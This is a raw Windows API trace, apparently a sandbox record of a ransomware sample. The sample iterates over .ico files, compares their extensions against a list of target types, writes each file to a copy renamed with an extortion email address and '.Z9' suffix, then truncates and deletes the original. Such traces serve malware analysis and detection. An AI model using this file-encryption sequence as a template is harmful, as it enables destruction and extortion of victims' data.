	[0072.084] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.084] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0072.084] lstrlenW (lpString=".zip") returned 4
	[0072.084] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.084] lstrlenW (lpString=".rar") returned 4
	[0072.084] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.084] lstrlenW (lpString=".bz2") returned 4
	[0072.084] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.084] lstrlenW (lpString=".7z") returned 3
	[0072.084] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.084] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0072.084] lstrlenW (lpString=".dbf") returned 4
	[0072.084] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.084] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0072.084] lstrlenW (lpString=".1cd") returned 4
	[0072.084] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.084] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0072.084] lstrlenW (lpString=".jpg") returned 4
	[0072.084] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.084] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0072.084] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0072.084] lstrlenW (lpString=".doc") returned 4
	[0072.084] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.084] lstrlenW (lpString=".docx") returned 5
	[0072.084] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0072.084] lstrlenW (lpString=".pdf") returned 4
	[0072.084] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.084] lstrlenW (lpString=".xls") returned 4
	[0072.084] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.084] lstrlenW (lpString=".xlsx") returned 5
	[0072.084] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0072.084] lstrlenW (lpString=".ppt") returned 4
	[0072.084] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.084] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0072.084] lstrlenW (lpString=".zip") returned 4
	[0072.085] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.085] lstrlenW (lpString=".rar") returned 4
	[0072.085] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.085] lstrlenW (lpString=".bz2") returned 4
	[0072.085] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.085] lstrlenW (lpString=".7z") returned 3
	[0072.085] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.085] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0072.085] lstrlenW (lpString=".dbf") returned 4
	[0072.085] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.085] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0072.085] lstrlenW (lpString=".1cd") returned 4
	[0072.085] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.085] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0072.085] lstrlenW (lpString=".jpg") returned 4
	[0072.085] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.085] lstrcmpiW (lpString1=".ico", lpString2=".Z9") returned -1
	[0072.085] lstrlenW (lpString="Rotate4.ico") returned 11
	[0072.085] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0072.092] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=894) returned 1
	[0072.092] CloseHandle (hObject=0x374) returned 1
	[0072.092] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80
	[0072.092] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.093] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0072.093] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.093] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.093] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0072.098] GetLastError () returned 0x0
	[0072.098] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x37e, lpOverlapped=0x0) returned 1
	[0072.107] WriteFile (in: hFile=0x300, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x380, lpOverlapped=0x0) returned 1
	[0072.108] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.108] WriteFile (in: hFile=0x300, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xea, lpOverlapped=0x0) returned 1
	[0072.108] SetEndOfFile (hFile=0x300) returned 1
	[0072.108] CloseHandle (hObject=0x300) returned 1
	[0072.109] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.110] SetEndOfFile (hFile=0x374) returned 1
	[0072.111] CloseHandle (hObject=0x374) returned 1
	[0072.111] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.111] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1
	[0072.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0072.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0072.111] lstrlenW (lpString=".doc") returned 4
	[0072.111] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.111] lstrlenW (lpString=".docx") returned 5
	[0072.111] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1
	[0072.111] lstrlenW (lpString=".pdf") returned 4
	[0072.111] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.111] lstrlenW (lpString=".xls") returned 4
	[0072.111] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.111] lstrlenW (lpString=".xlsx") returned 5
	[0072.111] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1
	[0072.111] lstrlenW (lpString=".ppt") returned 4
	[0072.112] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0072.112] lstrlenW (lpString=".zip") returned 4
	[0072.112] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.112] lstrlenW (lpString=".rar") returned 4
	[0072.112] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.112] lstrlenW (lpString=".bz2") returned 4
	[0072.112] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.112] lstrlenW (lpString=".7z") returned 3
	[0072.112] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0072.112] lstrlenW (lpString=".dbf") returned 4
	[0072.112] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0072.112] lstrlenW (lpString=".1cd") returned 4
	[0072.112] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0072.112] lstrlenW (lpString=".jpg") returned 4
	[0072.112] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0072.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0072.112] lstrlenW (lpString=".doc") returned 4
	[0072.112] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.112] lstrlenW (lpString=".docx") returned 5
	[0072.112] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1
	[0072.113] lstrlenW (lpString=".pdf") returned 4
	[0072.113] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.113] lstrlenW (lpString=".xls") returned 4
	[0072.113] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.113] lstrlenW (lpString=".xlsx") returned 5
	[0072.113] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1
	[0072.113] lstrlenW (lpString=".ppt") returned 4
	[0072.113] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0072.113] lstrlenW (lpString=".zip") returned 4
	[0072.113] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.113] lstrlenW (lpString=".rar") returned 4
	[0072.113] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.113] lstrlenW (lpString=".bz2") returned 4
	[0072.113] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.113] lstrlenW (lpString=".7z") returned 3
	[0072.113] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0072.113] lstrlenW (lpString=".dbf") returned 4
	[0072.113] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0072.113] lstrlenW (lpString=".1cd") returned 4
	[0072.113] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0072.113] lstrlenW (lpString=".jpg") returned 4
	[0072.113] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.113] lstrcmpiW (lpString1=".ico", lpString2=".Z9") returned -1
	[0072.113] lstrlenW (lpString="Rotate7.ico") returned 11
	[0072.113] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0072.114] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=894) returned 1
	[0072.114] CloseHandle (hObject=0x374) returned 1
	[0072.114] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80
	[0072.114] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.114] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0072.114] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.114] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.114] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0072.114] GetLastError () returned 0x0
	[0072.114] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x37e, lpOverlapped=0x0) returned 1
	[0072.132] WriteFile (in: hFile=0x300, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x380, lpOverlapped=0x0) returned 1
	[0072.133] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.133] WriteFile (in: hFile=0x300, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xea, lpOverlapped=0x0) returned 1
	[0072.134] SetEndOfFile (hFile=0x300) returned 1
	[0072.140] CloseHandle (hObject=0x300) returned 1
	[0072.162] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.162] SetEndOfFile (hFile=0x374) returned 1
	[0072.166] CloseHandle (hObject=0x374) returned 1
	[0072.166] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.167] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1
	[0072.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0072.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0072.167] lstrlenW (lpString=".doc") returned 4
	[0072.167] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.167] lstrlenW (lpString=".docx") returned 5
	[0072.167] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1
	[0072.167] lstrlenW (lpString=".pdf") returned 4
	[0072.167] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.167] lstrlenW (lpString=".xls") returned 4
	[0072.167] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.167] lstrlenW (lpString=".xlsx") returned 5
	[0072.167] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1
	[0072.167] lstrlenW (lpString=".ppt") returned 4
	[0072.167] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0072.167] lstrlenW (lpString=".zip") returned 4
	[0072.167] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.167] lstrlenW (lpString=".rar") returned 4
	[0072.167] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.167] lstrlenW (lpString=".bz2") returned 4
	[0072.168] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.168] lstrlenW (lpString=".7z") returned 3
	[0072.168] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0072.168] lstrlenW (lpString=".dbf") returned 4
	[0072.168] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0072.168] lstrlenW (lpString=".1cd") returned 4
	[0072.168] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0072.168] lstrlenW (lpString=".jpg") returned 4
	[0072.168] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0072.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0072.168] lstrlenW (lpString=".doc") returned 4
	[0072.168] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.168] lstrlenW (lpString=".docx") returned 5
	[0072.168] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1
	[0072.168] lstrlenW (lpString=".pdf") returned 4
	[0072.168] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.168] lstrlenW (lpString=".xls") returned 4
	[0072.168] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.168] lstrlenW (lpString=".xlsx") returned 5
	[0072.168] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1
	[0072.168] lstrlenW (lpString=".ppt") returned 4
	[0072.168] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0072.168] lstrlenW (lpString=".zip") returned 4
	[0072.168] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.168] lstrlenW (lpString=".rar") returned 4
	[0072.168] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.168] lstrlenW (lpString=".bz2") returned 4
	[0072.169] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.169] lstrlenW (lpString=".7z") returned 3
	[0072.169] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0072.169] lstrlenW (lpString=".dbf") returned 4
	[0072.169] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0072.169] lstrlenW (lpString=".1cd") returned 4
	[0072.169] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0072.169] lstrlenW (lpString=".jpg") returned 4
	[0072.169] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.169] lstrcmpiW (lpString1=".ico", lpString2=".Z9") returned -1
	[0072.169] lstrlenW (lpString="Setup.ico") returned 9
	[0072.169] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0072.169] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=36710) returned 1
	[0072.169] CloseHandle (hObject=0x374) returned 1
	[0072.169] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80
	[0072.169] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.170] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0072.170] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.170] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.170] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0072.170] GetLastError () returned 0x0
	[0072.170] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x8f66, lpOverlapped=0x0) returned 1
	[0072.190] WriteFile (in: hFile=0x378, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x8f70, lpOverlapped=0x0) returned 1
	[0072.192] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.192] WriteFile (in: hFile=0x378, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0072.192] SetEndOfFile (hFile=0x378) returned 1
	[0072.192] CloseHandle (hObject=0x378) returned 1
	[0072.196] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.196] SetEndOfFile (hFile=0x374) returned 1
	[0072.197] CloseHandle (hObject=0x374) returned 1
	[0072.197] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.197] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1
	[0072.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0072.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0072.197] lstrlenW (lpString=".doc") returned 4
	[0072.197] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.197] lstrlenW (lpString=".docx") returned 5
	[0072.197] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1
	[0072.197] lstrlenW (lpString=".pdf") returned 4
	[0072.197] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.197] lstrlenW (lpString=".xls") returned 4
	[0072.197] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.197] lstrlenW (lpString=".xlsx") returned 5
	[0072.197] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1
	[0072.197] lstrlenW (lpString=".ppt") returned 4
	[0072.198] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0072.198] lstrlenW (lpString=".zip") returned 4
	[0072.198] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.198] lstrlenW (lpString=".rar") returned 4
	[0072.198] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.198] lstrlenW (lpString=".bz2") returned 4
	[0072.198] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.198] lstrlenW (lpString=".7z") returned 3
	[0072.198] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0072.198] lstrlenW (lpString=".dbf") returned 4
	[0072.198] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0072.198] lstrlenW (lpString=".1cd") returned 4
	[0072.198] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0072.198] lstrlenW (lpString=".jpg") returned 4
	[0072.198] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0072.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0072.198] lstrlenW (lpString=".doc") returned 4
	[0072.198] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.198] lstrlenW (lpString=".docx") returned 5
	[0072.198] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1
	[0072.198] lstrlenW (lpString=".pdf") returned 4
	[0072.198] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.198] lstrlenW (lpString=".xls") returned 4
	[0072.198] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.198] lstrlenW (lpString=".xlsx") returned 5
	[0072.198] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1
	[0072.198] lstrlenW (lpString=".ppt") returned 4
	[0072.198] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
